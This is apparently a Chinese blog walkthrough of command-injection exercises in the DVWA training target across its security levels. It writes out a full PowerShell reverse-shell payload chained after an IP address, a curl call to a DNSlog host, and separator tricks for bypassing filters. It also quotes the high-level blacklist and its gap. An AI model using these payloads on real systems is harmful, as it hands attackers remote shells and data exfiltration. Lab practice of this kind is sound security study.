PHP靶场练习(一)dvwa靶场命令执行

低安全级别

利用方式一:利用过滤不严格问题,拼接shell命令执行

理论拼接符号:
在这里插入图片描述
已win10环境实测:&&最好用
在这里插入图片描述

利用方式二:延时盲注,无回显场景使用

在这里插入图片描述

利用方式三:写入shell

结合具体系统进行转义
在这里插入图片描述
成功写入shell
在这里插入图片描述

利用方式四:反弹 Shell (Reverse Shell)

127.0.0.1 && powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.58.1',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

在这里插入图片描述
另一设备使用nc接受反弹流量
在这里插入图片描述

利用方式五:DNSlog带外

127.0.0.1 && curl http://95d43ab3ae.ddns.1433.eu.org

在这里插入图片描述

利用方式六:端口探测

127.0.0.1 && curl http://127.0.0.1:80

在这里插入图片描述
在这里插入图片描述

中安全级别

利用方式一:源码过滤&&,使用&拼接命令或代码,使用 | 拼接命令

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

利用方式二:延时注入依旧可用,修改拼接符即可

在这里插入图片描述

利用方式三:写入shell依旧可用,修改拼接符即可

在这里插入图片描述

利用方式四:反弹 Shell (Reverse Shell),因对;进行过滤,可使用编码方式绕过

在这里插入图片描述
在这里插入图片描述

利用方式五:DNSlog带外依旧可用,修改拼接符即可

在这里插入图片描述
在这里插入图片描述

利用方式六:端口探测依旧可用,修改拼接符即可

在这里插入图片描述
在这里插入图片描述

高安全级别

黑名单范围进一步扩大

$substitutions = array(
		'||' => '',
		'&'  => '',
		';'  => '',
		'| ' => '',
		'-'  => '',
		'$'  => '',
		'('  => '',
		')'  => '',
		'`'  => '',
	);

由于|过滤时多了一个空格,保留了利用可能,但是由于过滤了$、-等符号,导致无法使用变量,无法使用参数,诸多利用手段无法使用,实际危害有限
在这里插入图片描述

impossible级别

重构验证逻辑,以 . 区分为四部分,每部分验证是否为数字,若均为数字再拼接回IP,这种方式虽然有一些不足之处,如科学计数法染过、超255未限制等等,但无疑都是小问题,无法造成有效威胁。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值